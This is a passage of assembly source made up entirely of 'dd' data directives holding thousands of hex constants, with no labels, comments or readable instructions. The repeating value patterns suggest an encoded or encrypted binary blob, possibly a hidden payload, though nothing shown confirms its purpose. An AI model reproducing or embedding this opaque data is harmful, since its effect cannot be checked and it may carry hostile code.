198F8832h, 0E6664432h dd 4807A49Fh, 763FC8AFh, 0FD4226C5h, 15662567h, 1053CBC7h dd 98691132h, 15668833h, 17E94BCBh, 75662232h, 0F0EF4453h dd 15624DB3h, 0F8E54432h, 314AA536h, 316A986Eh, 124E0CBh dd 29EF4432h, 1A067816h, 156612B0h, 0EFD18732h, 11B42F53h dd 156631DBh, 0A123C932h, 0C164C206h, 49FC9BBCh, 80682AB3h dd 5CDA0C5Bh, 156A023Dh, 90694432h, 15662234h, 15669B3Dh dd 80EF8832h, 129C6DD3h, 1561A33Dh, 97691132h, 15668833h dd 75622ECAh, 1AA5A954h, 7D07C785h, 15669832h, 156FC93Dh dd 0EC062232h, 97F1C6B3h, 0FC07FA50h, 15664439h, 95B28E82h dd 19EEF7EBh, 7D5F6FBCh, 15666828h, 754236BBh, 0AD004F63h dd 1A0713EAh, 156657B1h, 1568CB32h, 0CE761132h, 1BA449CCh dd 5754FDh, 48F518C3h, 0EA9F1158h, 0EF6D0DA7h, 19E44B35h dd 0FC662232h, 15661135h, 6DB9F461h, 9C42B6CBh, 0EF738FB7h dd 156CF835h, 5BE88832h, 8BF58968h, 661495D4h, 45A59861h dd 0D7EF50BBh, 95691F6Ah, 1566223Bh, 0AD077152h, 5A6D30D3h dd 3152BB53h, 11A2A16Bh, 754DF9CEh, 73068832h, 0E502A6B3h dd 80B0A252h, 7407C0B9h, 94870163h, 156640F3h, 118FA332h dd 92661132h, 9C3AAC3Eh, 44066006h, 1566A33Dh, 943E1132h dd 0E10F8D2h, 0ECCB2543h, 2B700437h, 4E8C1461h, 5165B3FAh dd 0FF4B6016h, 385DEA69h, 46580714h, 156682DBh, 0CB96B332h dd 41D2076Eh, 2464A74Ch, 24A1B9CAh, 18E14BCAh, 0FC662232h dd 1566113Ah, 550F662Fh, 7D1160CFh, 314AA365h, 6782076Fh dd 94DBDD69h, 9415877Ah, 35ABFEF7h, 488D10CDh, 156687DBh dd 1371C132h, 72DBE6F7h, 945DE5C3h, 1974AB5Fh, 9480CD64h dd 156626F4h, 11889032h dd 92668832h, 9C3A6006h, 128F060Eh, 1A661132h, 0EA471B6Ch dd 94695789h, 1566222Dh, 157F923Dh, 18F8832h, 89664432h dd 162B975Dh, 6D50E414h, 0F4CD0A4h, 81C45438h, 25268BC5h dd 4E31EF2h, 1A668832h, 15664FB6h, 1560CB32h, 14731132h dd 0F0C8EE47h, 0FC9B319Ch, 15662238h, 0F5648F65h, 874D4028h dd 1A066321h, 0A269E58Dh, 219970E8h, 0D1E7D616h, 15664436h dd 1569AD3Dh, 1F8F1132h, 0F4668832h, 1E6FDADEh, 81F22B23h dd 0EB8990C3h, 3C369950h, 0EBDB11EDh, 14363350h, 94694CDDh dd 1566883Ch, 15664DDBh, 0A6F83432h, 9851CFDFh, 9C30FEA7h dd 11A0C5D4h, 94662232h, 156615DCh, 31520F32h, 3172CD6Eh dd 1576A13Dh, 0FD061132h, 1566883Ah, 8D41E908h, 0C5E1704Eh dd 0F9E5706Ah, 315A0136h, 83DD2468h, 1A7D7908h, 9E07E28Dh dd 0EF710D8Fh, 5EA4B35h, 0FC662232h, 15661139h, 0A8F51276h dd 0B51EDEh, 0AC2EA9F9h, 0EA99EECDh, 1572003Dh, 9B694432h dd 1566223Ch, 156618DBh, 3B8F3A32h, 36800645h, 0D557880Fh dd 15DF40CBh, 14668832h, 9E67CEC3h, 0D1E5063Eh, 0DD56E836h dd 156683DBh, 4CBBDE32h, 0FA38111Dh, 0D39718C6h, 432366B5h dd 753B1A67h, 0AA69DE52h, 9E0070C4h, 1F8FE9CCh, 4A664432h dd 6E8DA02Fh, 0D5AB98A4h, 925277F1h, 10F8FA64h, 61675C78h dd 4D381516h, 5F63161Fh, 1568AD4Ch, 0BAA62232h, 0EF6CB553h dd 32B229B6h, 0B6D0B56Bh, 1567AA3Dh, 0D4931132h, 1B8F80DBh dd 8A664432h, 942E4B14h, 8BDB744Eh, 76DB205Ah, 75A77589h dd 749FDAB8h, 30AA9152h, 15640C3Dh, 74064432h, 90696853h dd 0EA99EE68h, 156B6152h, 0F2134432h, 4F40DCD4h, 50E96907h dd 75A28C63h, 1566C03Dh, 0D6EC2232h, 0DC0E7053h, 9C66886Ah dd 0FC3E603Eh, 15662237h, 4461C674h, 0E2331D64h, 803B6026h dd 15662ADBh, 0A7620632h, 66897B8Bh, 3152BB45h, 11A2A368h dd 1A661132h, 15668CB3h, 0ECED2432h, 0D2EF7553h, 29ED2BBBh dd 11A20B16h, 1561C03Dh, 9A692232h, 15661133h, 110ED9CBh dd 4C664432h, 0FC3FE833h, 15661122h, 0BF97ADB1h, 8AB6C70Ah dd 1CA95F45h, 0AB8B82F8h, 1578E05Ah, 3172CD32h, 19E52DCAh dd 1A661132h, 15668EB4h, 15E04B32h, 0EA662232h, 0EF735CB7h dd 15606135h, 0F75A4432h, 0C05AE01Dh, 2B84B9h, 1C8F8FC8h dd 0A3664432h, 0B16C344Ah, 2EF3A137h, 397F1D0Bh, 916943C8h dd 1566226Dh, 3152EECEh, 11A20968h, 75664432h, 4B3F7462h dd 15661DDBh, 0B077A732h, 354B236Bh, 5606A8D7h, 1A0670D2h dd 128E5885h, 0B6664432h, 8084905Dh, 94008347h, 4D16AFDAh dd 3152BB53h, 11A2A16Ch, 15679C3Dh, 469F8832h, 15664089h dd 9EB82332h, 0D1E7352Eh, 15668836h, 0E930ADCBh, 9E9EDDCDh dd 9C373526h, 11A709D3h, 94664432h, 156626F3h, 316A9632h dd 9E00E86Eh, 0AC0024EDh, 0AC003CA5h, 74071E5Ch, 15669ADBh dd 0D7D1F232h, 0D0B7D0C6h, 0F9FDC767h, 34D4F44Ah, 0EA8B40DAh dd 96380606h, 58F15F6h, 0EA668832h, 51F23D37h, 0F6799142h dd 0A0AF1721h, 745285B5h, 48E2452h, 37662232h, 35A6651Bh dd 0AF0F30CCh, 0D5551DBBh, 752F981Bh, 743C406Ah, 193C7D8Ah dd 48F256Ch, 5E662232h, 83D25E1h, 686BCE54h, 6AB2FDAFh dd 0A6F5F2D5h, 43421DB9h, 0D3E76EBBh, 15664436h, 1562E4B3h dd 21E11132h, 9069D416h, 15664433h, 3162A9CEh, 94839867h dd 15668CF7h, 11A3C532h, 92662232h, 0ED3A351Eh, 340B0DF5h dd 156643C8h, 94692232h, 15661139h, 0E2D18752h, 756DB3B3h dd 0D20703C6h, 0EF47D4B7h, 15668835h, 0A8E5BC32h, 1D67D0DAh dd 34E21E32h, 1A668832h, 156648B2h, 13E82D32h, 1A661132h dd 156688B9h, 28FBC932h, 0EC6E228Fh, 9E06C2CDh, 74AC03CCh dd 14CBC1CDh, 750625C8h, 258E9054h, 15EE87AEh, 74664432h dd 1564A73Dh, 74061132h, 0B8DB0B53h, 7161BE33h, 1731A03Dh dd 0FD061132h, 15668821h, 0C48B710h, 0FFB7B333h, 5C882C4Dh dd 9DA97E2Eh, 9424DD9Dh, 7A4310E2h, 0E7E74B2Eh, 55FAF190h dd 0B8E38353h, 1461D833h, 1A661132h, 156699B4h, 156AAD32h dd 0A16B2232h, 2EC5BF4Eh, 7E92A934h, 75932585h, 0F6E74452h dd 9E0622B6h, 0D7EDEEEAh, 90EB2553h, 1D67504Eh, 1AB6EECEh dd 156689BCh, 0A0EBBD32h, 1D67D18Ah, 1560F8CBh, 62938832h dd 0D33BE4E1h, 94579FBFh, 1A061930h, 15668EB7h, 15E54B32h dd 0FC662232h, 15661123h, 23792877h, 34A1CE90h, 7BFB32D9h dd 1A663209h, 0AB30E99Eh, 4DBB5544h, 0CCCBCCB3h, 0E2673B0Dh dd 9491A16Ch, 88518DDDh, 0A269421Ch, 936947CAh, 15668832h dd 700E2569h, 9C66226Eh, 0FC3C350Eh, 1566883Ah, 8E484190h dd 0F2C72B76h, 2E3ACB9h, 94068FC8h, 2067CCD3h, 156FCB50h dd 0DFD61132h, 0B1CDD4D6h, 74682D36h, 0EA99DD8Bh, 1AEF1ECDh dd 0FC668832h, 15664438h, 0EC614DECh, 0B3FD51E5h, 0D5578671h dd 15DF15CBh, 14662232h, 9E679BC3h, 0D1E7AC3Eh, 15664436h dd 1AAE12CBh, 15661BBDh, 0DEE7E832h, 2E514402h, 43077B63h dd 0EA423DB1h, 11ED7D6Ch, 1DE44BB5h, 75662232h, 15669D3Dh dd 0D4078832h, 1A064CDBh, 7330E185h, 4E76338Dh, 75A7B953h dd 1562CD3Dh, 0AB002232h, 9E0020F0h, 1A2CE9C5h, 0EA99DDB7h dd 12E92DCDh, 1A661132h, 156689B1h, 9E37BD32h, 0D1E70636h dd 15661136h, 1561073Dh, 96694432h, 15662233h, 487E79CEh dd 11EF8832h, 3172B316h, 9E69426Ah, 15661132h, 905FE9C7h dd 129C4947h, 1505A63Dh, 97691132h, 15668835h, 1567C33Dh dd 0AD932232h, 1E256C59h, 0EC5CCB07h, 0EA8EC746h, 84D0307h dd 869E142Ah, 1E9E106Ah, 3DE34BF2h, 0ED662232h, 19B794F5h dd 15678FC8h, 0FD064432h, 1566223Dh, 7B5C8B87h, 0B6B96568h dd 0B300B908h, 1A5BAD52h, 156611B4h, 4507D632h, 4CDCFD63h dd 0DDEF2203h, 4DA7106Bh, 7306E9CAh, 0FCA00E88h, 15662223h dd 108AA772h, 0BDFDDA3Ah, 6E81B4E4h, 0A779DE60h, 0FC067080h dd 15668822h, 108008D5h, 0AE2D5698h, 0E97530EDh, 0A93F307Ch dd 118AC553h, 9C662232h, 50D83506h, 9C49C4EBh, 439E1AC3h dd 6F1B518Ch, 0FFA8901Dh, 9417EA74h, 0EA36E3D4h, 5C90A321h dd 4568EA42h, 22839F8Ah, 4DA06DEAh, 1A38D0BBh, 156610BEh dd 0FCCB7432h, 1566443Bh, 584A9AF9h, 0D722EF26h, 0ECD30101h dd 0FC61BE11h, 1566223Ah, 1CE5AE13h, 4AF28254h, 9C62A8B1h dd 15DE0636h, 9C661132h, 1A3E7474h, 15665CB2h, 7E52D32h dd 0FC661132h, 1566883Fh, 42EE03FBh, 5534049h, 72E93B55h dd 0FB88B581h, 9069AADCh, 156622EEh, 9C697152h, 15668832h dd 156655DBh, 37C7A832h, 92D27F9Eh, 0DDEB1860h, 0D6FD0F26h dd 0AF073790h, 339C6AB5h, 0C8580953h, 1ABB99EFh, 156689B7h dd 156AF832h, 0F0488832h, 20201BAh, 7E5201FDh, 0AF346845h dd 3934FBB6h, 6229F967h, 0F8A7502Eh, 0D0E75C37h, 3B5FC09Dh dd 943BAE03h, 8D39CEC0h, 4F70982Fh, 45623252h, 749F2EB0h dd 15629A62h, 0D3E71132h, 77BB340h, 0FBE78233h, 77B1940h dd 0A269716Ah, 5EB87C9h, 0FD664432h, 15662238h, 5B043B42h dd 0D5851634h, 74397D4Bh, 369F97BBh, 1B8F16C8h, 0EB668832h dd 56476BE5h, 44B44281h, 0BEC88549h, 38E6616Ch, 0FC934432h dd 0EA99DC9Bh, 1570933Dh dd 48F8832h, 45664432h, 0C41D5E3Dh, 0C8CA169Eh, 74ED8A79h dd 0B591315Ah, 9CA4AB60h, 31729AE1h, 0FC624CB1h, 1566443Bh dd 20C7651Ah, 7868812Fh, 0C4E3BB68h, 0EC61BE3Eh, 0ED65EAF3h dd 0D22B3C37h, 67988D2Ah, 0C54F4E7Eh, 5914DC1Fh, 584B3C38h dd 1E8F90F5h, 4F664432h, 4F45D767h, 0B3963EB2h, 0D5A76CE8h dd 1E64B22h, 1A662232h, 15661FBBh, 156F6132h, 94E94432h dd 0FBD76A4Bh, 24EEE3E7h, 9F0674FAh, 88EF25D5h, 129C2EE3h dd 15662CCAh, 96698833h, 15664671h, 156AA73Dh, 96691132h dd 15668834h, 1566CC3Dh, 2BE72232h, 0AEDDAA89h, 17430D3Dh dd 429F4432h, 1106F18Dh, 22A9907Dh, 941BA243h, 3B17B3DDh dd 15DD714Dh, 14661132h, 4E5D01C1h, 1E8F246Dh, 4C662232h dd 3F5A78A0h, 0CFF9B5C4h, 6ED8DF01h, 740B5738h, 156616DBh dd 0E1D0D032h, 0D2DA3774h, 15629860h, 0C3671132h, 96429CB9h dd 9F6940F6h, 1566223Fh, 156619DBh, 0B2F98832h, 8C7C7719h dd 0ECD3ABB5h, 0FC61EB11h, 15668820h, 36144350h, 2D3A815Bh dd 584419C7h, 0A7BEBD88h, 88ED0E17h, 129C34B7h, 15661DDBh dd 7130ED32h, 0AC4A801Ch, 0BD9D2D17h, 4255EE04h, 0F35388Dh dd 311A6D17h, 943F7D36h, 0F35A1F3h, 1C8EE817h, 81664432h dd 7BD1A083h, 0A224BF7Fh, 1566033Dh, 1A3E4432h, 156624B0h dd 15ED1E32h, 74668832h, 1577AD52h, 0CA5A2232h, 0F79B8F0Ah dd 0E3659554h, 0BAF9FCD6h, 73BF77A4h, 0D7BED7B3h, 1469E053h dd 29EF4432h, 9CA1AB16h, 1F8F4EC8h, 58668832h, 98310E81h dd 8507C187h, 75067190h, 0A4A90354h, 94692592h, 15662234h dd 15669F3Dh, 46078832h, 0CDEF97BBh, 96423EB9h, 9F6915F6h dd 15668833h, 9E0024CBh, 0A26942EAh, 156FF8C1h, 0E8128832h dd 0C4ED5642h, 74C492EEh, 0D0E33A53h, 1A61721Fh, 156648B2h dd 13E62D32h, 1A661132h, 156688B0h, 78E2432h, 1662232h dd 3198E51Ch, 0D6FC5CCCh, 0FB4FE8E1h, 0B94C10CFh, 4D077104h dd 15668EDBh, 0AA227532h, 749D153Eh, 1A64F1F3h, 156683B5h dd 1560AD32h, 219A2232h, 37441620h, 20470D31h, 459E43C8h dd 1562CEB3h, 21EF1132h, 7538D016h, 156643DAh, 0A13A1D32h dd 0FB90ACFFh, 15660A3Dh, 75384432h, 0A788A354h, 0C7DC77FBh dd 0B807E9CAh, 1567CC3Dh, 389F2232h, 6D2239CBh, 0D54D5A1Fh dd 10AE4511h, 36A609E0h, 514EE837h, 51EF744Ah, 94065816h dd 36DAEAD4h, 0FBDF7744h, 0AC06E937h, 2FFABA6h, 156625DBh dd 632E9932h, 217C2CFh, 0FC932553h, 1566214Dh, 15661BDBh dd 8DD89132h, 0E5B64A6Fh, 40264223h, 0D0E7F4BBh, 15668836h dd 1562A9B3h, 39E12232h, 19EF4D16h, 15756116h, 920C4432h dd 0DD4521CAh, 0B13967E8h, 61E2578Ah, 7330138Fh, 9C36D73Bh dd 156214D2h, 114B8832h, 92664432h, 9C3A0636h, 249F3526h dd 12E287FBh, 75664432h, 92ADA354h, 80ED7056h, 129C9D9Fh dd 1578C13Dh, 94692232h, 1566112Ah, 15669BDBh, 0B8DB1E32h dd 84BF4712h, 276E74EBh, 0C9A86375h, 0C87A5A95h, 15662BDBh dd 2DEF6A32h, 0DC4DDD2Ah, 175D1FD2h, 1466A63Dh, 95061132h dd 7D071EE0h, 15665C25h, 0AA421EBBh, 15661136h, 1A397233h dd 156650B5h, 1BE82D32h, 0FC661132h, 1566883Bh, 2BE80158h dd 0E67DF362h, 1572F803h, 0F1518832h, 0C95551D9h, 0B0B4AE28h dd 5B4CD5EEh, 3783804Ch, 0AE35747Ah, 7548220Fh, 0D6E7CAC5h dd 7548880Ch, 1A3D9D33h, 156623BCh, 985DE432h, 129CA42Bh dd 0EAEAC13Dh, 18FDDCDh, 0A3661132h, 53CCF7D3h, 3A50866Bh dd 9AD91FE4h, 810A7890h, 4721765Bh, 6D59005Ah, 942C786Fh dd 25D17F0h, 4FB60124h, 1063A4F3h, 9B7694D2h, 1BE81ECEh dd 0FC668832h, 1566443Bh, 19C3A06Dh, 9A74FD87h, 73EB056Dh dd 0FC61BE7Dh, 15662239h, 0A80695E9h, 5431D659h, 1A377CFAh dd 15662CB4h, 9C697132h, 15668832h, 1566CF3Dh, 0EA072232h dd 6DC71D3h, 0FD02A28Dh, 15664437h, 4AAA86C1h, 7A19008h dd 4F64C3D4h, 949F2453h, 44E9F9D4h, 98EF7076h, 129C9D7Fh dd 3172CFCBh, 9480AB64h, 156615F4h, 11A00932h, 92664432h dd 1A3A0606h, 15661DBDh, 0D7E7E832h, 63A7D12h, 48609C54h dd 316A9A53h, 94840160h, 156640F0h, 11A4A332h, 92661132h dd 0FC3AAC26h, 15664421h, 6FC8173Ah, 7D779983h, 1773437h dd 2BD5A510h, 96E6A991h, 21EF15DEh, 128EE816h, 6E664432h dd 0F792109Dh, 4A9AA6C5h, 15669CDBh, 0A076D732h, 5E4817BAh dd 87C566F7h, 99CC45C9h, 21AA6FF0h, 88ED4390h, 129C07B7h dd 156687DBh, 9CE13532h, 0F3A0627Eh, 2AD2571Dh, 0DA048D5Ch dd 0AF3477CDh, 1972164Ah, 11424533h, 0FCE7D168h, 1972704Ah dd 1567AB3Dh, 9E9E1132h, 0EF73C5B7h, 0F5B7B835h, 156627DBh dd 10489632h, 9065A010h, 129C6A27h, 15662FDBh, 10963532h dd 703DD446h, 0AEBCD390h, 0E357C41Eh, 156614DBh, 0A810C32h dd 249E8EC5h, 24A013C2h, 12EA1EC2h, 1A668832h, 156645BAh dd 198FDE32h, 0A8661132h, 0C1CEB1CAh, 0DF7D86AEh, 7391064Fh dd 14EB1E9Fh, 0ED668832h, 1A64A4F3h, 156623B7h, 9065E832h dd 129CBD13h, 0AA691552h, 1C8E79E8h, 92661132h, 728BDAC0h dd 6376FAD3h, 743F7D63h, 156614DBh, 0E43B6532h, 0E557E8C0h dd 0E557E403h, 1FEC1E52h, 0FC668832h, 15664437h, 0DC9F93FFh dd 0E7ED7744h, 0FD062553h, 15664439h, 0F0F96CBFh, 37FD6D9Dh dd 47BC48DCh, 0FC071C6Ch, 1566223Ch, 5A27E515h, 8F70404Dh dd 26491DEFh, 324BCD6Ch, 383F0C4Eh, 3B22EC4Dh, 6A638C33h dd 10486656h, 4C7B6D15h, 1568033Dh, 1C8F4432h, 0B4662232h dd 0D94EE256h, 0BC7166D1h, 464270B9h, 0D6E7C1BBh, 15661136h dd 15624BB3h, 9E14432h, 969F7E16h, 0EF7BF88Fh, 91698935h dd 156644B4h, 156624DBh, 0AD56A532h, 2E5F9969h, 0EF6EE1BFh dd 7AE22D35h, 1A661132h, 156689BDh, 985DBC32h, 129C2727h dd 153A953Dh, 0ED068832h, 2E07AB84h, 0EF6CD7BFh, 5EE21E35h dd 75668832h, 248FFB54h, 0C7BEA354h, 88EB7050h, 1D64DA1Ah dd 1567CF3Dh, 0EA9F2232h, 9E36EDE1h, 0D1E7AC0Eh, 15664436h dd 1567A43Dh, 9C9A1132h, 0EF7031B7h, 739A2435h, 0FC07E4B9h dd 156631C5h, 1567053Dh, 1A934432h, 156623B0h, 88EBE932h dd 1D64DA1Ah, 75B5BBCAh, 49A54h, 29DAB54h, 0FCDB0B53h dd 1561BE2Fh, 1514A63Dh, 78F1132h, 83668832h, 0F4643D59h dd 1340D0A1h, 375F4314h, 0D8241466h, 20E37FB9h, 1A61D835h dd 156623B6h, 156D6132h, 0CB764432h, 3E7949CEh, 0B7C11179h dd 40E3B363h, 1A61BE34h, 156611B7h, 5EC1E32h, 0FC668832h dd 15664439h, 0AF4A4D0Fh, 1491CD4Ch, 0FC21F6F5h, 0EA99BB74h dd 17E32D52h, 0A3661132h, 0C6D18796h, 1560AD53h, 0C0352232h dd 3125637h, 3FCF0D09h, 906943C8h, 1566224Fh, 1561993Dh dd 98698832h, 15664433h, 0F8DBA1CBh, 1561EB01h, 15490C3Dh dd 1D8F4432h, 0F0662232h, 7497FB79h, 96D0F064h, 0EF429D8Fh dd 91692235h, 1566117Bh, 0DBA00952h, 940E1A59h, 26BCC9E8h dd 91697076h, 15668833h, 0D1E3C9C7h, 0FC6E23AAh, 1566113Dh dd 0B55E7B8h, 0CE114942h, 0DA870415h, 0FC6627FFh, 0EA997688h dd 156654DBh, 6E0DAA32h, 29EAA24h, 5C37B831h, 12EF44FFh dd 0BCE319D1h, 1A61EB18h dd 0EA9811B6h, 0A8E5BCCDh, 1D67D0FEh, 4BE31E33h, 1A668832h dd 15665DB2h, 0AF004232h, 1B8F60F7h, 0C6668832h, 0B1889A80h dd 0F3AE4D2Bh, 815ECBBh, 905DE9FCh, 1D67B732h, 1555A73Dh dd 75061132h, 156680DAh, 81157A32h, 1EFD3174h, 749A4E19h dd 0F1E30553h, 0FC661D39h, 1566223Dh, 50775E21h, 0A017D091h dd 48A0FD0Dh, 0FC02D7AEh, 0EA99EF0Ch, 0ED99B9C7h, 3397F9B1h dd 1A6625C8h, 15773EB6h, 95067432h, 940065C2h, 741E7DFDh dd 0E78A9409h, 90698033h, 15664470h, 90EDD7C7h, 129C1CC7h dd 1567073Dh, 449E4432h, 2774E88Bh, 94275812h, 92261BF3h dd 0C687C540h, 94501B3Bh, 2C6741C3h, 4CA98920h, 1576CB3Dh dd 1E8F2232h, 33661132h, 0C5168310h, 689BBFD0h, 905D803Fh dd 1D67E3C6h, 157C0D3Dh, 97694432h, 15662233h, 1CE39AC7h dd 7561721Ah, 0AE3525C7h, 0EA99DDCDh, 0ED3DCE1Bh, 0E7960D09h dd 90694C33h, 1566226Dh, 157E983Dh, 0FD068832h, 1566443Ch dd 0CCB855D8h, 0FBAA34D6h, 0EE970C78h, 753DA108h, 90ED4353h dd 129C3143h, 15669BDBh, 60364632h, 0E3A847DDh, 5D8C81CBh dd 1B5141FAh, 454B1358h, 4225FDB5h, 753D4E61h, 156A063Dh dd 138E4432h, 39662232h, 0E5F011E6h, 9269D315h, 15664430h dd 2E074352h, 1494E9B7h, 41E3873Ah, 75664432h, 1AA5A954h dd 9E07D385h, 0EF6B69B7h, 0DE34B35h, 75662232h, 0FCBE9A54h dd 1566883Ch, 89BCAA6Eh, 0FC0F9BDAh, 0A8FE0F79h, 400706A1h dd 1566458Fh, 48892332h, 0FDFDA552h, 1566883Bh, 51BA6186h dd 209774CAh, 1563F95Fh, 467F8832h, 4B0EEC3Fh, 2E934368h dd 1494EDB7h, 34E3873Ah, 75664432h, 7398953Dh, 8CFC7B3h dd 20E30353h, 7561BE34h, 0EDBFC3B2h, 0AD36E953h, 15668833h dd 0ED3E8333h, 0E666A709h, 90691933h, 15668808h, 9400B852h dd 748447D9h, 86794B9h, 44938FC8h, 0EE66E08Bh, 0CC916B6Fh dd 65979073h, 94056A2Ah, 5D6591C3h, 11A7A37Ah, 3C104029h dd 128FD1FDh, 67664432h, 90D4DA82h, 905D64DDh, 1D677B36h dd 154BC13Dh, 74062232h, 331794B9h, 58F8FC8h, 71664432h dd 0DBF776BFh, 9BB48658h, 7E50EEBFh, 0ED06EBEBh, 15679860h dd 0C2671132h, 0E3D3E868h, 2E0795B9h, 14952AB7h, 51E31E3Ah dd 1A668832h, 15664ABDh, 9D694232h, 15661132h, 1566053Dh dd 9E074432h, 0EF4913B7h, 1DE31E35h, 1A668832h, 156646BEh dd 47074232h, 15661088h, 4FB18932h, 156BC73Dh, 1A062232h dd 156611BAh, 0C3F63332h, 2E072EF0h, 14952EB7h, 22E31E3Ah dd 1A668832h, 156645B1h, 90EDDA32h, 129C05BFh, 1567073Dh dd 47934432h, 0FB7F5F88h, 1384D044h, 2E174AB3h, 0E7E77842h dd 7FD83E0Dh, 5F64F3F3h, 0F507AB3h, 0C2673110h, 905DDE68h dd 1D67E222h, 15340D3Dh, 9C694432h, 1566223Ah, 8DDF7752h dd 7407E8B5h, 0E82DFF52h, 9E07329Eh, 0EF4998B7h, 1AEB8735h dd 0FC664432h, 15662238h, 0DD3CCA9Eh, 45B1C1D9h, 0AC370002h dd 15662233h, 753FDE33h, 156685DBh, 0E5E17632h, 66AF9FCh dd 95A5900Bh, 9400DA0Ch, 745103F2h, 0E67EA709h, 90691933h dd 15668806h, 17E64B52h, 75662232h, 0D4ED4653h, 90EDE968h dd 129C5363h, 156633DBh, 7CDFF932h, 8D78C3DBh, 0C9E8D78Fh dd 9F56D455h, 0AD3652FFh, 0EA9977CDh, 0ED3E831Bh, 0E672A709h dd 90691933h, 15668840h, 156649DBh, 0EF562432h, 2DAC9DA0h dd 0A58E5591h, 9369BE4Ch, 15662236h, 74A19B52h, 347F35B1h dd 1A6643C8h, 15666BB7h, 42067132h, 15EA876Bh, 74664432h dd 90EDDE53h, 129C094Bh, 74980352h, 0E4D94B52h, 1564A33Dh dd 74061132h, 0EADED853h, 3C99BBCDh, 91697AF5h, 15661124h dd 156699DBh, 0D5A14732h, 4B63B04Fh, 82A9DA3Bh, 0B3CF2D93h dd 0A8E59703h, 129C23E7h, 51E21E32h, 1A668832h, 156648BBh dd 13E82D32h, 1A661132h, 156688B2h, 0B5E37F32h, 1A6E23C1h dd 156637B7h, 15616132h, 0EFB04432h, 51CD1ECAh, 28E39A2Bh dd 0E0617224h, 4BF9F967h, 0F0A731C6h, 34A39037h, 14E7FC1Eh dd 969E19DDh, 0EF69B78Fh, 91691135h, 15668AB5h, 156AC13Dh dd 0AF062232h, 3E424ADh, 98A40954h, 0A8E525FEh, 129C2D9Bh dd 7DE21E32h, 0E9668830h, 156ECD3Dh, 73062232h, 75008A8Bh dd 905DE953h, 1D67B7B6h, 155AA73Dh, 0A2061132h, 90EDE975h dd 129C6E73h, 1569CB52h, 0A7931132h, 24622472h, 0FB0C3B93h dd 89D4DB8Ah, 13E81E72h, 1A668832h, 156644B5h, 0AE354332h dd 0EA99EECDh, 1A3D571Bh, 156645B7h, 905DDE32h, 1D67E2A6h dd 15330D3Dh, 128F4432h, 0A0662232h, 7F0382B0h, 1A06FFCEh dd 0A269858Dh, 90ED43C2h, 129C25ABh, 1567013Dh, 42934432h dd 0EA420EB1h, 14ED1E6Dh, 0E9668832h, 0D4E72252h, 0FC06F001h dd 1566113Bh, 0FE77D5FFh, 0D9C2B712h, 156DCB6Dh, 651A1132h dd 234AE3C9h, 1F1DBBD3h, 2E0743A5h, 149599B7h, 4BE3873Ah dd 75664432h, 0E786A354h, 0CDED77BBh, 0E0E30353h, 0FC61BE1Bh dd 1566223Fh, 60F98F78h, 58BB6E26h, 2242F9A9h, 0E82DB1h dd 1A661132h, 156687B4h, 156CAD32h, 0ABC22232h, 7C5BA14Fh dd 83715D07h, 0EA99FA64h, 0E24FDDCDh, 7E31E6Ch, 0FC668832h dd 1566443Fh, 6ADCADF5h, 8137247Fh, 4EF21E8Eh, 8DE37F8Fh dd 1A6E23C1h, 15665CB7h, 156F6132h, 800C4432h, 0A4036A9Fh dd 9E9FE833h, 0EF5419B7h, 1576AD35h, 91E82232h, 4A82FA47h dd 1153670h, 9C82C946h, 0AF341F61h, 15661133h, 1A3C5F33h dd 156651BBh, 1576CB32h, 92661132h, 0B8FD955Ch, 3CDDA94Ch dd 0DEBA30E1h, 905D7DA2h, 1D677BAEh, 154FC13Dh, 9E9F2232h dd 0EF4018B7h, 42937035h, 9E4240CDh, 0D1E7060Eh, 15661136h dd 156B013Dh, 1D8F4432h, 66662232h, 353F5559h, 2E546AA3h dd 1495C8B7h, 4FE32D3Ah, 0FC661132h, 1566883Fh, 7F042A40h dd 22E707E1h, 9DFF44E4h, 0D8E303FBh, 0FC61BE3Dh, 15662239h dd 1F76F33Dh, 888C57ACh, 75003642h, 4DF44CEh, 0AF34708Eh dd 6BC0BDE2h, 9461A6F3h, 353C2BF8h, 0B8AC9032h, 9446FB0Ah dd 916316C0h, 4FB10BBEh, 2DE0AA52h, 0FCE7BDCFh, 328E2Ch dd 85E31953h, 1A6E10C1h, 1566CEB7h, 4E84B32h, 0FC662232h dd 1566113Eh, 461E6156h, 99379950h, 1A0C7461h, 361B94B9h dd 0FC068FC8h, 15664438h, 48C98E8Bh, 7FD2C2F9h, 0AE005287h dd 46070B7Fh, 15662389h, 4EB91032h, 15668EDBh, 0AA9F1B32h dd 96B1F259h, 0EF69B88Fh, 91698835h, 15664EAAh, 1561A63Dh dd 0AA061132h, 2B13021Ah, 9E37F53h, 1A6E23C1h, 156641B7h dd 0AB067032h, 0DEBA922h, 749DA954h, 17B394B9h, 198F8FC8h dd 0EE664432h, 981CB0C2h, 173D2228h, 249655C9h, 249D75EDh dd 0CAE161EDh, 156600DBh, 0EE6C0F32h, 40392937h, 3F5B816Ah dd 3CAD72FFh, 1F8FDBB1h, 8A664432h, 2F892600h, 35450AD3h dd 0A5E3B3C9h, 1A6E45C1h, 15661CB7h, 9B697132h, 15668823h dd 15664FDAh, 0FCAACC32h, 16631882h, 0BE2945ECh, 90ED256Bh dd 129C09FFh, 0A2694252h, 4307D0CAh, 1566458Ch, 4B912332h dd 16E11E52h, 73668832h, 0AF00B3B9h, 2E0715A7h, 149531B7h dd 5BE3873Ah, 0FC664432h, 15662239h, 46F99D6Fh, 54F5F649h dd 9E27685Eh, 0EF48F7B7h, 1D8F7135h, 73668832h, 63E68F5Eh dd 1A72C9B7h, 156617B5h dd 15ED8732h, 74664432h, 3162DD65h, 96422DB9h, 97698CF6h dd 1566443Fh, 15662ADBh, 3AF47E32h, 0BEEE1340h, 31E37FD2h dd 1A6E23C1h, 15662EB7h, 1DE18732h, 1A664432h, 156620B3h dd 9E077132h, 0EF6A05B7h, 3DD72435h, 1566AD3Dh, 45071132h dd 1566898Ah, 4DA14532h, 156631DBh, 7E659132h, 0F1306DC6h dd 0A059252Ah, 0CB39322Fh, 9FBCB583h, 0E64E0D09h, 90694C33h dd 1566225Dh, 15679E3Dh, 9E9E8832h, 0EF7B8DB7h, 1AE42D35h dd 0FC661132h, 15668838h, 6B62A7B0h, 1BD8B5D4h, 9B699E01h dd 1566883Eh, 1560CF3Dh, 9C692232h, 15661132h, 26F43260h dd 0FFE7473Ah, 34682170h, 9484C078h, 0E10615D8h, 4FB145F1h dd 95ADA952h, 1A07B7F5h, 15669EBCh, 1577AD32h, 61F02232h dd 0B1F99665h, 0BEE3BECAh, 62EBFDDh, 2E131667h, 14953DB7h dd 54E3873Ah, 0E9664432h, 347F9FB1h, 1A6616C8h, 